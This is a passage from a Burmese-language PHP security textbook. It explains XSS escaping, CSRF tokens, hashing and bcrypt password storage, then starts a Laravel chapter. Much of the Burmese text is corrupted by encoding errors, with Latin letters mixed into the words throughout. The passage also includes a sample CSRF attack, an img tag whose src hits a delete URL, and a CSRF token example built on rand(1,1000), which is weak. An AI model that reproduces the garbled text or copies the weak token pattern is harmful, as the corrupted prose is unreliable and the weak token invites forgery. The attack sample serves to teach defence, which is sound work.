အသက်မဝင်ကြေတာ့ပါyူး။ 

တစ်ကယ်ကြေတာ့ <script> တစ်ခုထဲက ဒုက္ခကြေပးနိုင်တာ မဟုတ်ပါyူး။ HTML Element ကြေတွအားလံုးက
ဒုက္ခကြေပးoုိအ့တွက် သုံးမယ်ဆိုရင် သံုးလုိရ့ကြေနပါတယ်။  <img> ရဲ့  src Attribute  မှာ  JavaScript  ကုဒ်
ကြေတွ ကြေရးလုိရ့ပါတယ်။ <a> ရဲ့  href မှာ JavaScript ကုဒ်ကြေတွ ကြေရးလုိရ့ပါတယ်။ တgခား Element ကြေတွ
မှာလည်း  onClick တို့  onMouseOver တိုလုိ့့  Attribute  ကြေတွနဲ့  JavaScript  ကုဒ်ကြေတွကို ကြေရးမယ်ဆို
ကြေရးလုိရ့ကြေနပါတယ်။ ဒါကြေeကာင့် JavaScript ကြေတွ အလုပ်မလုပ်ကြေအာင် <script> Tag ကို ကာကွယ်မယ်
လုိ့ ကြေgပာလုိ့ မရပါyူး။ yယ် HTML Element ကိုမှ မယုံရတာပါ။ htmlspecialchars() Function
က ပါလာသမျှ Special Character ကြေတွအကုန်လုံးကို Encode လုပ်gပစ်မှာမုိလုိ့့ HTML Tag ကြေတွပါလာရင်
လည်း  တစ်ခုမှ  အလုပ်လုပ်မှာ  မဟုတ်ပါyူး။  ကြေရးထားတဲ့အတိုင်းပဲ  ကြေoာ်gပကြေပးကြေစမှာ  goစ်ပါတယ်။  ဒါ
ကြေeကာင့် XSS   ကို ကာကွယ်oုိအ့တွက်   Output   တိုင်းကို   htmlspecialchars()     နဲ ့ရုိက်ထုတ်သင့်တယ်  
လုိ့ မှတ်နိုင်ပါတယ်။

<?php echo htmlspecialchars($comment) ?>

<?= htmlspecialchars($comment) ?>

ဒီ Function ကို ခဏခဏ ကြေခါ်သုံးရတာ ရှည်တယ်ထင်ရင်လည်း အခုလုိ eကားခံ Helper Function တစ်ခု
ကိုယ့်yာသာ ကြေရးထားလုိရ့နိုင်ပါတယ်။

function h($content) {

    return htmlspecialchars($content);

}
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ဒါကြေeကာင့် ကြေနာက်ပုိင်း Output ကြေတွရုိက်ထုတ်ရင် အခုလုိ ထုတ်လုိ ့ရသွားပါပြပီ။

<?php echo h($comment) ?>

<?= h($comment) ?>

အကယ်၍ Content ကို အခုလုိ Encode လုပ် မgပစ်ချင်yူး၊ အန္တရာယ်ရှိတာကြေတွကို ကြေရွးပြပီးကြေတာ့ oယ်ချင်
တယ်။  အန္တရာယ်မရှိတာကြေတွ  ချန်ထားကြေပးချင်တယ်ဆိုရင်ကြေတာ့  HTML  Purifier  လုိ  နည်းပညာမျ ို းကို
အသုံးgပုနိုင်ပါတယ်။ ဒီမှာကြေလ့လာeကည့်လုိ့ ရပါတယ်။

– http://htmlpurifier.org/

CSRF – Cross-Site Request Forgery
Cross-Site  Request  Forgery  ဆိုတာ ဝy်ဆိုက်တစ်ခုကို  ဒုက္ခကြေပးoုိအ့တွက်  အgခားဝy်ဆိုက်တစ်ခုကို
အသုံးgပုပြပီး  Request  ကြေတွ  ကြေပးပုိသ့ကဲ့သုိ့goစ်ကြေအာင်  လှည်oျားပြပီးကြေတာ့  တိုက်ခိုက်တဲ့  နည်းလမ်း  goစ်ပါ
တယ်။ အခုကြေနာက်ဆံုး  OWASP Top 10 ထဲမှာ မပါကြေတာ့ကြေပမယ့် သူ့အရင် ထုတ်gပန်ခဲ့တဲ့  Top 10 စာရင်း
ကြေတွမှာ မeကာမeကာ ပါကြေနeက gပဿနာတစ်ခုgoစ်ပါတယ်။

ကျွန်ကြေတာ်တို့  ကြေရးသားခဲ့တဲ့  ပကြေရာင်္ဂျက်ကုဒ်ထဲက  delete.php ကို  ဥပမာကြေပးချင်ပါတယ်။
delete.php ကို အသုံးgပုပြပီး အခုလုိ Request ကြေပးပုိ့gခင်းအားgoင့် User ကြေတွကို oျက်လုိရ့ပါတယ်။

localhost/project/_delete.php?id=1

ကြေရးထားတဲ့ကုဒ်ကို gပန်ကြေလ့လာeကည့်ပါ။ URL Query က id ကို ယူပြပီးကြေတာ့ အ့ဲဒီ id နဲ့ ကိုကတ်ဲ့ User ကို
oျက်oုိက့ြေရးထားတာပါ။ ဒါကြေပမယ့် ဒီ URL ကိုသုံးပြပီး လူတိုင်းက oျက်ချင်တဲ့ User ကိုလာoျက်လုိ့ မရပါyူး။
ကုဒ်ထဲမှာ Auth::check() နဲ့ စစ်ထားပါတယ်။ Login ဝင်ထားတဲ့  User မှသာလျှင် ဒီအလုပ်ကို လုပ်
လုိရ့မှာ goစ်ပါတယ်။ Login မဝင်ထားyဲ ဒီ URL ကို သုံးoုိက့ြကိုးစားရင် oျကတ်ဲ့အလုပ်ကို လုပ်မှာ မဟုတ်ပါ
yူး။

http://htmlpurifier.org/
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ကိုယ်က ဒီပကြေရာင်္ဂျက်မှာ အကြေကာင့်ရှိလုိ့ Login ဝင်ထားမိတယ်ဆိုeကပါစို။့ ဒုက္ခကြေပးလုိသူက ဒီလုိ Element
ပါတဲ့ ဝy်ဆိုက်တစ်ခုကို ကြေရးထားတဲ့အခါ ကိုယ်ကမသိလုိက်yဲ အ့ဲဒီဝy်ဆိုက်ကို သွားမိရင် gပဿနာတက်
ပါပြပီ။

<img src="http://localhost/project/_delete.php?id=1">

ဝy်ဆိုက်ကသူ့ဝy်ဆိုက်ပါ။ ကြေရးထားတာက သူ့ကုဒ်ပါ။ ဒါကြေပမယ့် ကိုယ်ကအ့ဲဒီ ဝy်ဆိုက်ကို oွင့်လုိက်မိ
ချနိ်မှာ Browser က <img> Element goစ်တဲ့အတွက် ပံုကိုgပနိုင်oုိ့ src Attribute မှာကြေပးထားတဲ့ လိပ်စာ
ကို  Request  ပုိလုိ့က်မှာပါ။  ပုိလုိ့က်တာက  ကိုယ်  Browser  ကgoစ်ကြေနတဲ့အတွက်  delete.php ရဲ့
Auth::check() က စစ်eကည့်လုိက်တဲ့အခါ Login goစ်ကြေနလုိ ့User ကိုoျက်gပစ်လုိက်မှာ goစ်ပါတယ်။

သူ့ဝက်ဆိုက်ကို  သွားမိတာ  ကိုယ်ဝy်ဆိုက်က  Data  ထိသွားတယ်ဆိုတဲ့  သကြေyာမျ ို းgoစ်လုိ့  ဒီ  နည်းကို
Cross-site Request Forgery Attack (CSRF)  လုိ့ကြေခါ်eကတာပါ။ ကိုယ့်ပကြေရာင်္ဂျက်မှာ ဒီgပဿနာကို ကာ
ကွယ်လုိရင် Random Token ကို သုံးနိုင်ပါတယ်။ ဥပမာ ဒီကုဒ်ကိုကြေလ့လာeကည့်ပါ။

<?php

echo sha1(rand(1, 1000) . time());

// 22d0fe99e95aa559355c4f514334bf121601568f

 
sha1() Function  ထဲမှာ  Random  တန်oုိးတစ်ခု  လက်ရှိအချနိ်နဲ့ကြေပါင်းပြပီး  ကြေပးလုိက်တဲ့အခါ  ခန့်မှန်းoုိ့
yယ်လုိမှ မလွယ်ကူတဲ့ Hash ရလဒ် တစ်ခုကို ရပါတယ် (Hash အကြေeကာင်းကို ခဏကြေနကြေတာ့မှ ဆက်ကြေgပာ
ပါမယ်)။ အ့ဲဒီရလဒ်က အပြမဲတမ်း ကြေgပာင်းကြေနပါလိမ့်မယ်။ time() Function ပါလုိ့ တစ်ခါ Run ရင် တန်oုိး
တစ်မျ ို းgoစ်ကြေနမှာပါ။ ရလာတဲ့  Hash တန်oုိးကို  Session ထဲမှာသိမ်းထားပြပီး  Request နဲ့အတူ အ့ဲဒီတန်oုိး
ပါလာမှ လက်ခံရမှာgoစ်ပါတယ်။ ဒီလုိပါ – 
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<?php

session_start();

$token = sha1(rand(1, 1000) . 'csrf secret');

$_SESSION['csrf'] = $token;

?>

<a href="delete.php?id=1&csrf=<?= $token ?>">Delete</a>

ရလာတဲ့  Random Token ကို  Session ထဲမှာသိမ်းပြပီး၊  Link မှာလည်း URL Query အကြေနနဲ့ တွဲကြေပးလုိက်
တာပါ။ ဒါကြေeကာင့် ဒီ Link ကိုနှိပ်ရင် Random Token က Request နဲ့အတူ ပါလာပါပြပီ။ ပါလာတဲ့  Token
ကို Session ထဲမှာ သိမ်းထားတဲ့ Token နဲ့ တူမတူ စစ်လုိက်ယံုပါပဲ။

<?php

// delete.php

session_start();

if($_GET['csrf'] === $_SESSION['csrf']) {
    echo "Good request";
} else {
    echo "Bad request";
}

တgခားသူက ကိုယ့်  Session  ထဲမှာ သိမ်းထားတဲ့ ကြေgပာင်းလဲကြေနတဲ့  Random Token နဲက့ိုက်ညီတဲ့ တန်oုိး
ကြေပးပြပီး Request အတု လွှတ်oုိဆ့ိုတာ မလွယ်ကြေတာ့ပါyူး။ ဒီနည်းနဲ့ CSRF Attack ကို ကာကွယ်ရပါတယ်။ 
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Hash Functions
Hash Function ကြေတွဟာ လံုခြခံုကြေရးအတွက် အကြေရးပါပါတယ်။ ကြေရးgoစ်ခဲ့တဲ့ နမူနာကုဒ်ကြေတွမှာ  md5() နဲ့
sha1() ဆိုတဲ့  Hash Function ကြေတွကို အသုံးgပုခဲ့eကပါတယ်။ ဒီ Hash Function ကြေတွက Content ကို
ကြေပးလုိက်ရင်  Hash Code  goစ်ကြေအာင် ကြေgပာင်းကြေပးeကပါတယ်။  Function  မတူတဲ့အခါ  Hash  ကြေgပာင်းoုိသုံ့း
သွားတဲ့  Algorithm  မတူကြေတာ့ပါyူး။  Algorithm  ကြေတွ မတူeကကြေပမယ့် တူညီတဲ့  သကြေyာ သyာဝ ကြေတွ
ကြေတာ့ ရှိeကပါတယ်။

• Hash Function  ကြေတွဟာ  ကြေပးလုိက်တဲ့    Content    ရဲ့    Length    yယ်ကြေလာက်ပဲ  ကွဲgပားပါကြေစ gပန်  
ထုတ်ကြေပးတဲ့    Output Length    အပြမဲတမ်း တူညီeကပါတယ်  ။  md5() Function  က စာလံုး  (၃၂)
လုံးပါတဲ့  Hash  ကို  gပန်ထုတ်ကြေပးပါတယ်။  ကြေပးလုိက်တဲ့  Content  က စာလံုးတစ်လုံးထဲ  ဆိုရင်
လည်း ရလဒ်က (၃၂) လုံးပဲ goစ်မှာပါ။ ကြေပးလုိက်တဲ့ Content က စာလံုး (၁၀၀၀) ကြေကျာ်ရင်လည်း
ရလဒ်ကကြေတာ့  (၃၂)  လုံးပဲgoစ်မှာပါ။  sha1() Function  က စာလံုး  (၄၀)  ပါတဲ့  Hash  ကို  gပန်
ထုတ်ကြေပးပါတယ်။

• Hash Function  ကြေတွဟာ ကြေပးလုိက်တဲ့  Content  ကို  ကြေgခoျက်ပြပီးကြေတာ့  Hash  ကြေgပာင်းတာgoစ်တဲ့
အတွက် ကြေချoျက်လုိက်လုိ့ ရလာတဲ့   Hash   ကကြေန မူလ   Content   ကို gပန်မရနိုင်ပါyူး  ။ ကြေပးလုိက်တဲ့
Content  ကို  Code  ကြေgပာင်းပြပီးကြေနာက်၊ ရလာတဲ့  Code  ကကြေန Content  gပန်ကြေgပာင်းလုိရ့တဲ့ နည်း
ပညာကြေတွရှိပါတယ်။ Encryption လုိ့ကြေခါ်ပါတယ်။ Hash နဲ့ မတူပါyူး။  Encrypt  လုပ်လုိက်လုိ့ ရ
လာတဲ့ Code ကို Decrypt gပန်လုပ်gခင်းအားgoင့် Content ကို gပန်ရနိုင်ပါတယ်။ Hash Algorithm
ကြေတွ အမျ ို းမျ ို းရှိသလုိပဲ Encryption Algorithm ကြေတွလည်း အမျ ို းမျ ို း ရှိeကပါတယ်။

• Hash Function ကြေတဟွာ ကြေပးလုိက်တဲ့    Content   တရူင်   gပန်ထုတ်ကြေပးတဲ့  Hash   ရလဒ်   အပြမဲတမ်း
တူeကပါတယ်။ yယ်နှစ်ကြကိမ်ပဲ Run ပါကြေစ၊ Content တရူင် ထွက်လာတဲ့ Hash အပြမဲတမ်း တူမှာပဲ
goစ်ပါတယ်။

Hash Function  ကြေတွသုံးပြပီး  Content  ကို  Hash  ကြေgပာင်းလုိက်တဲ့အခါ  ရလာတဲ့  Hash  ကကြေန  Content
gပန်ယူလုိ့ မရyူးလုိ့ ဆိုထားပါတယ်။ Hash ကကြေန Content gပန်ယူလုိ့ မရနိုင်ကြေပမယ့် ရနိုင်တဲ့တgခားနည်း
လမ်းကြေတွကြေတာ့ ရှိပါတယ်။ ဥပမာ - ဒီ md5 Hash ကိုကြေလ့လာeကည့်ပါ။
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ဒီ Hash ကကြေန မူလတန်oုိးကို gပန်ထုတ်လုိ့ မရကြေပမယ့်၊ အ့ဲဒီ Hash ကို Google မှာ ရုိက်ထည့်ပြပီး ရှာeကည့်
လုိက်ရင်  apple  ဆိုတဲ့  Content  အတွက်  Hash  goစ်တယ်ဆိုတာကို  သိရနိုင်ပါတယ်။  Content  တရူင်
Hash  တူတဲ့အတွက်  Content  ကြေတွကို  Hash  ကြကိုကြေgပာင်းထားပြပီး တိုက်စစ်မယ်ဆိုရင်၊  Hash  ကိုeကည့်ပြပီး
yယ် Content အတွက်လဲဆိုတာကို သိရနိုင်ပါတယ်။ တစ်ကယ်ကြေတာ့ Manual ကြကိုကြေgပာင်းစရာမလုိပါyူး၊
Rainbow Table လုိ Hash ကိုကြေပးလုိက်ရင် Content gပန်ရှာကြေပးနိုင်တဲ့ နည်းပညာကြေတွ ရှိကြေနပါတယ်။

ဒါကြေeကာင့်  md5  တို့  sha1  တိုလုိ့  Hash  နည်းပညာကြေတွကို  Secure  မgoစ်yူးလုိ့  ကြေgပာeကပါတယ်။ လံုခြခံု
ကြေအာင် Hash ကြေgပာင်းချင်ကြေပမယ့် Content gပန်ကြေoာ်မယ်ဆိုရင် ရနိုင်ကြေgခရှိကြေနလုိပ့ါ။ အရင်ကကြေတာ့ md5 ကို
တင် မလံုခြခံုyူးလုိ့  ကြေgပာeကတာပါ။  sha1  ကိုကြေတာ့ လုံခြခံုတယ်လုိ့  သတ်မှတ်eကပါတယ်။ ဒါကြေပမယ့် အခု
ကြေနာက်ပုိင်း  Computing Power  ကြေတွ တစ်ကြေနတ့gခား ပုိကြေကာင်းလာeကကြေတာ့ အရင်ကလံုခြခံုပါတယ်ဆိုတဲ့
sha1 ကိုပါ မလံုခြခံုကြေတာ့yူးလုိ့ သတ်မှတ်လာeကတာပါ။ ကကြေနက့ြေခတ်မှာ လံုခြခံုတယ်လုိ့ ကြေgပာလုိရ့တဲ့ Hash
နည်းပညာကကြေတာ့  bcrypt  goစ်ပါတယ်။  yာကြေeကာင့်  md5  တို့  sha1  တိုက့ိုကျကြေတာ့  မလံုခြခံုyူးလုိ့
သတ်မှတ်ပြပီး  bcrypt  ကို  ကျကြေတာ့မှ  လံုခြခံုတယ်လုိ့  သတ်မှတ်eကတာလဲဆိုတဲ့ထိကြေတာ့  ထည့်မကြေgပာနိုင်
ကြေတာ့ပါyူး။  Hash Algorithm ကြေတရွဲ့ သကြေyာသyာဝနဲ့  Random Salt  လုိ သကြေyာသyာဝကြေတွ ထည့်
ကြေgပာမှ ရကြေတာ့မှာမုိ့လုိပ့ါ။ ဆက်ကြေလ့လာစရာ စာရင်းထဲမှာသာ ထည့်မှတ်ထားလုိက်ပါ။ ဒီလုိပါပဲ နည်းပညာ
ကြေတွကကြေတာ့ လုိက်မယ်ဆိုရင် မဆံုးနိုင်ကြေအာင်ပါပဲ။ 

PHP  မှာ  bcrypt  ဆိုတဲ့အမည်နဲ့  md5() တို့  sha1() တိုလုိ့  အလွယ်တစ်ကူ ယူသံုးလုိရ့တဲ့  Standard
Function  မရှိပါyူး။  ဒါကြေပမယ့်  bcrypt  ကို  အသုံးgပုထားတဲ့  password_hash() လုိ့ကြေခါ်တဲ့  Hash
Function ကြေတာ့ ရှိကြေနတာပါ။ ဒီအကြေeကာင်းကို ကြေနာက်ကြေခါင်းစဉ်တစ်ခုနဲ့ ဆက်ကြေgပာပါမယ်။
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Saving Passwords
ဝy်ဆိုက်တိုင်း  လုိလုိမှာ  User  ကြေတွက  Register  လုပ်ပြပီး အကြေကာင့်ကြေဆာက်လုိရ့တဲ့  လုပ်ကြေဆာင်ချက်ကြေတွ
ပါဝင်eကပါတယ်။ အ့ဲဒီလုိ  Register  လုပ်eကတဲ့အခါ  User  ဆီက  Password  ကို  ကြေတာင်းeကရပါတယ်။ ဒီ
ကြေတာ့မှ အ့ဲဒီ Password ကိုသုံးပြပီး Login gပန်ကြေပးဝင်လုိ ့ရမှာပါ။

ဒီလုိ User ဆီက Password ကိုကြေတာင်းယူပြပီး သိမ်းထားရတာ တာဝန်ကြကီးပါတယ်။ yာgoစ်လုိ့လဲဆိုကြေတာ့
User အများစုက Password ကြေတွကို gပန်သုံးeကပါတယ်။ ဝy်ဆိုက် (၁၀) ခုမှာ အကြေကာင့်ကြေတွ oွင့်ထားလုိ့
Password ကြေတွ မတူကြေအာင် (၁၀) ခု ခွဲကြေပးeကမှာ မဟုတ်ပါyူး။ တစ်ချ ို ့ဆို  Password တစ်ခုထဲနဲ့ ကြေနရာ
တိုင်းမှာ  သုံးကြေနeကတာပါ။  ဒါကြေeကာင့်  ကိုယ့်ဝy်ဆိုက်မှာ  အကြေကာင့်လာကြေဆာက်တဲ့အခါ  ကြေပးတဲ့  User  ရဲ့
Password  ဟာ  အ့ဲဒီ  User  အတွက်  အလွန်အကြေရကြကီးတဲ့  အချက်အလက်တစ်ခုပါ။  ကိုယ်ဝy်ဆိုက်ရဲ့
လုံခြခံုကြေရး  အားနည်းချက်  တစ်ခုခုကြေeကာင့်သာ  User  အချက်အလက်ကြေတွ  ကြေပါက်eကားခဲ့လုိ့  User  ကြေတရွဲ့
Password  ကြေတွသာ ပါသွားခဲ့ရင်  အ့ဲဒီ  User  ကြေတွ  gပဿနာတက်မှာက ကိုယ့်ဝy်ဆိုက်  တစ်ခုထဲမှာတင်
gပဿနာတက်မှာ မဟုတ်ပါyူး။ အ့ဲဒီ Password ကို သုံးထားတဲ့ ကြေနရာတိုင်းမှာ gပဿနာတက်ကြေတာ့မှာပါ။
ဒါကြေeကာင့် Password ကြေတွကို လက်ခံသိမ်းဆည်းရတာ တာဝန်ကြကီးတယ်လုိ ့ကြေgပာတာပါ။

Password  ကြေတွသိမ်းဆည်းမှုနဲပ့က်သက်ရင်  အကြေရးအကြကီးဆံုးအချက်ကကြေတာ့  yယ်ကြေတာ့မှ  မူရင်း
Password   အတိုင်း မသိမ်းoုိပ့ါပဲ  ။ Hash လုပ်ပြပီးကြေတာ့မှသာ သိမ်းရပါတယ်။ ဒီကြေတာ့မှ အကြေeကာင်းအမျ ို းမျ ို း
ကြေeကာင့် User Data ကြေတွ ကြေပါက်eကားခဲ့ရင်ကြေတာင် Password ကြေတွက Hash လုပ်ထားလုိ့ ဒုက္ခကြေပးတဲ့သူက
မူရင်း  Password  ကို အလွယ်တစ်ကူ သိနိုင်မှာ မဟုတ်ကြေတာ့ပါyူး။ နမူနာလုပ်ခဲ့တဲ့ ပကြေရာင်္ဂျက်မှာကြေတာင်
md5() ကိုသုံးပြပီး  Password  ကြေတွကို  သိမ်းခဲ့တာ ကြေတွ့gမင်ခဲ့eကရမှာပါ။ gပည့်စံုလုံကြေလာက်gခင်းကြေတာ့ မရှိ
ကြေသးပါyူး။ ကြေစာကြေစာက ကြေgပာခဲ့သလုိ  md5 Hash  က gပန်ကြေoာ်မယ်ဆိုရင် ကြေoာ်လုိရ့နိုင်စရာ ရှိကြေနလုိပ့ါ။ ဒါ
ကြေeကာင့် bcrypt လုိ ပုိပြပီးကြေတာ့ လံုခြခံုကြေရးအားကြေကာင်းတဲ့ Hash မျ ို းကို လက်ကြေတွ့မှာ အသုံးgပုကြေပးoုိ့ လုိအပ်
ပါလိမ့်မယ်။ ဒီအတွက် PHP မှာ password_hash() လုိ့ကြေခါ်တဲ့ Function ရှိကြေနပါတယ်။ ဒီလုိပါ – 

 PHP >= 5.5 

<?php

$password = "userpassword";
$hash = password_hash($password, PASSWORD_BCRYPT);
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echo $hash;

// $2y$10$vXvL86DCY/Hh3BiIC0fx.eH06Hsea9kBz3CO2HRkNnVJyPIdtisXS

password_hash() Function  ကို  Argument  နှစ်ခုကြေပးရပါတယ်။  Content  နဲ့  Algorithm  goစ်ပါ
တယ်။  Content  အကြေနနဲ့  User  ရဲ့  Password  ကိုကြေပးရမှာgoစ်ပြပီး  Algorithm  အကြေနနဲ့
PASSWORD_BCRYPT လုိ့ကြေခါ်တဲ့  Constant  ကို  အသုံးgပုနိုင်ပါတယ်။  ရလဒ်ကို  echo ထုတ်eကည့်တဲ့
အခါ အကြေတာ်ကြေလး ရှည်လျှားတဲ့ ရလဒ် Hash ကို ကြေတွ့gမင်ရမှာ goစ်ပါတယ်။ စာoတ်သူကိုယ်တိုင်စမ်းeကည့်
လုိက်ရင် ရမယ့် ရလဒ်နဲ့ အခုဒီမှာgပထားတဲ့ ရလဒ်တူမှာ မဟုတ်ပါyူး။

ကြေစာကြေစာက Hash Function ကြေတဟွာ ကြေပးလုိက်တဲ့  Content တူရင် ရလဒ်တူတယ်လုိ့ ကြေgပာပါတယ်။ အခု
yာကြေeကာင့် မတူတာလဲ။ Hash လုပ်တဲ့အခါ ဒီအတိုင်းမလုပ်yဲ Content နဲ့အတူ Random တန်oုိးတစ်ခုနဲ့
ကြေပါင်းပြပီးကြေတာ့  Hash  လုပ်ထားတဲ့အတွက် အ့ဲဒီ  Random  တန်oုိးကြေeကာင့်  Hash  က လုိက်ကြေgပာင်းကြေနတာ
goစ်ပါတယ်။ ကြေရှ့ဆံုးက $2y$10$ ထိကကြေတာ့ တူနိုင်ပါတယ်။ သူ့ကြေနာက်ကတန်oုိးကြေတွသာ ကြေgပာင်းကြေနမှာ
ပါ။ 2y က အသုံးgပုထားတဲ့  Algorithm goစ်ပြပီး 10 ကကြေတာ့ Cost ကိုဆိုလုိတာပါ။ Content ကို ကြေgခoျက်
တာ yယ်နှစ်ခါ oျက်သလဲဆိုတဲ့  အကြေရအတွက်ပါ။  10  ဆိုတာ  2 power 10  goစ်လုိ့  1024  ကြကိမ် ကြေgခoျက်
အလုပ်လုပ်ထားတယ်ဆိုတဲ့ သကြေyာပါ။ အ့ဲဒီ  $2y$10$ ကြေနာက်ကလုိက်တဲ့ စာလံုး  (၂၂)  လုံးက Hash  မ
လုပ်ခင် ထည့်လုိက်တဲ့ Random တန်oုိးgoစ်ပြပီး တစ်ကယ် Hash Code ကကြေတာ့ ကြေနာက်ဆံုးကကြေနလုိက်တဲ့
(၃၁) လုံး goစ်ပါတယ်။ 

သကြေyာအရသာ  ဒါကြေတွ  ကြေgပာကြေနတာပါ။  အသုံးgပုမှု  ရှုကြေထာင့်ကကြေန  eကည့်ရင်  password_hash()
Function ကို  Password ကြေပးလုိက်ရင် လံုခြခံုစိတ်ချရတဲ့၊ gပန်ကြေoာ်oုိခ့က်ခဲတဲ့  Hash Code ထွက်လာတယ်
လုိ့ မှတ်ထားရင်လည်း ရပါတယ်။ အ့ဲဒီလုိရလာတဲ့ Hash ကို သိမ်းဆည်း ထားရမှာgoစ်ပါတယ်။

နမူနာပကြေရာပကြေရာင်္ဂျက်မှာဆိုရင်  Register  လုပ်တံုးက Password  ကို  md5() နဲ့  Hash  လုပ်ပြပီးသိမ်းခဲ့လုိ့
Login ဝင်တဲ့အခါ User ကြေပးလာတဲ့ Password ကို md5() နဲ့ပဲ Hash ကြေgပာင်းပြပီးမှ မှန်ကန်မှုရှိမရှိ တိုက်စစ်
ထားပါတယ်။ အခု password_hash() နဲ့ ကြေgပာင်းထားတဲ့ Hash တန်oုိးကိုကြေရာ yယ်လုိgပန်တိုက်စစ်ရ
မလဲ။ password_verify() ဆိုတဲ့ Function ကို သုံးရပါတယ်။ ဒီလုိပါ –
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 PHP >= 5.5 

<?php

$hash = '$2y$10$vXvL86DCY/Hh3BiIC0fx.eH06Hsea9kBz3CO2HRkNnVJyPIdtisXS';

if(password_verify('userpassword', $hash)) {
    echo 'Correct Password';
} else {
    echo 'Incorrect Password';
}

// Correct Password

သိမ်းထားတဲ့  Hash  ဟာ  userpassword နဲ့  တူညီမှုရှိသလားဆိုတာကို  password_verify() နဲ့
စစ်eကည့်လုိက်တာပါ။ တူညီမှုရှိတဲ့အတွက်  Correct Password  ဆိုတဲ့  ရလဒ်ကို  gပန်လည်ရရှိမှာပဲ goစ်ပါ
တယ်။ ဒီနည်းနဲ့  User  က Login ဝင်ချနိ်မှာ ကြေပးလာတဲ့  Password နဲ့ သိမ်းထားတဲ့  Hash ကိုက်ညီမှုရှိမရှိ
စစ်eကည့်နိုင်မှာပဲ goစ်ပါတယ်။

Conclusion
ဆက်eကည့်မယ်ဆိုရင်  eကည့်သင့်တာကြေလးကြေတွ  ရှိကြေသးကြေပမယ့်  ဒီကြေလာက်ဆိုရင်  လံုခြခံုကြေရးနဲပ့က်သက်ပြပီး
ကိုယ့်အိမ်တံခါးကိုယ်  ကြေသာ့ခတ်နိုင်တဲ့  အဆင့်ကြေလာက်ကြေတာ့  ရသွားပြပီပဲ  goစ်ပါတယ်။  ဒီအခန်းမှာ  ကြေoာ်gပ
ထားတဲ့  ဗဟုသုတကြေတွကို  အသုံးgပုပြပီး  ပြပီးခဲ့တဲ့အခန်းကြေတွမှာ  ကြေရးခဲ့တဲ့  ပကြေရာင်္ဂျက်ကိုလည်း  လုိအပ်သလုိ
gပင်ဆင်goည့်စွက်eကည့်oုိ့ အကြကံgပုပါတယ်။  SQL  Injection  အတွက်ကြေတာ့  မူလကတည်းက  Prepare
Statement ကြေတွကို အသုံးgပုထားပြပီး goစ်ပါတယ်။ XSS အကာအကွယ်အတွက် Helper Method ထပ်တိုး
ပြပီးကြေတာ့ လုိအပ်တဲ့ကြေနရာကြေတွမှာ လုိက်ထည့်ကြေပးသင့်ပါတယ်။  CSRF  အကာအကွယ်ကိုလည်း ကြေနရာတိုင်း
မှာ  မထည့်နိုင်ရင်ကြေတာင်မှ  အကြေရးကြကီးတဲ့  ကြေနရာအချ ို ့မှာ  ထည့်ကြေပးသင့်ပါတယ်။  Password  ကြေတွစီမံတဲ့
ကြေနရာမှာလည်း md5() အစား အခုကြေလ့လာခဲ့တဲ့  password_hash() တို့  password_verify()
တိုန့ဲ့ ကြေgပာင်းကြေပးသင့်ပါတယ်။ 

ဆက်လက်ပြပီးကြေတာ့ ကြေနာက်တစ်ပုိင်းမှာ Laravel Framework အကြေeကာင်းကို ကြေလ့လာသွားeကပါမယ်။



အပုိင်း (၅)
Laravel
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အခန်း (၄၁) – Laravel Project

Laravel ဟာ လူကြကိုက်များ ထင်ရှားကြေနတဲ့  PHP Framework တစ်ခုပါ။ Laravel ရဲ့ ကျစ်လစ်ရှင်းလင်းတဲ့
oဲွ့စည်းပံုကြေeကာင့် ဒီ  Framework  ကိုသုံးပြပီး ကုဒ်ကြေတွကြေရးရတာ နှစ်လုိကြေပျာ်ရ£င်oွယ် ကြေကာင်းပါတယ်။ အရင်
က  PHP  ကုဒ်လုိ့  ကြေgပာလုိက်ရင်  ရှုပ်ယှက်ခတ်ပြပီး  oတ်ရခက်တဲ့  ကုဒ်ကြေတွကို  ကြေgပးgမင်eကကြေပမယ့်၊  အခု
ကြေနာက်ပုိင်းမှာကြေတာ့  PHP Language  ကိုယ်တိုင်ရဲ့  တိုးတက်မှုကြေတွနဲအ့တူ  Laravel  ကို  အသံုးများလာမှု
ကြေeကာင့် PHP ကုဒ်ဆိုတာ သပ်သပ်ရပ်ရပ်နဲ့ oတ်ရှုနားလည်ရ လွယ်ကူတဲ့ကုဒ်ကြေတွ goစ်ကြေနပါပြပီ။

Creating Laravel Project
Laravel  ရဲ့  Documentation  goစ်တဲ့  laravel.com/docs မှာသွားပြပီးကြေလ့လာeကည့်လုိက်ရင်  Laravel  ပ
ကြေရာင်္ဂျက်  တည်ကြေဆာက်ပုံ  (၂)  နည်း  ကြေပးထားတာကို  ကြေတွ့ရနိုင်ပါတယ်။  ပထမနည်းက  laravel
Installer  ကို  Composer  နဲ့  အရင်  Install  လုပ်ပြပီးမှ  ပကြေရာင်္ဂျက်တည်ကြေဆာက်တဲ့နည်းပါ။  ဒုတိယနည်း
ကကြေတာ့ Composer ကိုပဲ တိုက်ရုိက်အသံုးချပြပီး ပကြေရာင်္ဂျက်တည်ကြေဆာက်တဲ့နည်းပါ။ အ့ဲဒီဒုတိယနည်းကိုပဲ
ဒီကြေနရာမှာ ကြေoာ်gပပါမယ်။

ပထမဆံုးအကြေနနဲ့ ပကြေရာင်္ဂျက်oုိဒါတည်ကြေဆာက်လုိတဲ့ကြေနရာမှာ Command Prompt (သုိ့) Terminal ကို oွင့်
လုိက်ပါ။ Tip – Windows Explorer ရဲ့ Address Bar ထဲမှာ cmd [Enter] နှိပ်gခင်းအားgoင့် ကြေရာက်ရှိကြေနတဲ့
oုိဒါထဲမှာ  Command Prompt ကို oွင့်လုိရ့ပါတယ်။

https://laravel.com/docs
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Windows မှာ Command Prompt လုိ့ကြေခါ်ပြပီး တgခား OS ကြေတွမှာ Terminal လုိ့ကြေခါ်ပါတယ်။ ကြေရှ့ကြေလျှာက်
နှစ်မျ ို း ကြေgပာမကြေနကြေတာ့ပါyူး။ Terminal လုိပဲ့ သံုးနှုန်းပြပီး ဆက်ကြေgပာသွားပါမယ်။ Terminal ကို oွင့်ပြပီးရင် ဒီ
Command ကို Run ရမှာပါ။

composer create-project laravel/laravel blog "10.*"

composer Command  အတွက်  create-project Option  ကိုကြေပးလုိက်တာပါ။  ဒါကြေeကာင့်
Composer  က  ကျွနက်ြေတာ်တိုအ့တွက်  ပကြေရာင်္ဂျက်oုိဒါတစ်ခု  ကြေဆာက်ကြေပးသွားပါလိမ့်မယ်။  ကြေနာက်ကကြေန
အသုံးgပုလုိတဲ့  Vendor/Package ကို ကြေပးရပါတယ်။ နမူနာအရ laravel အမည်ရ Vendor ကကြေပးထား
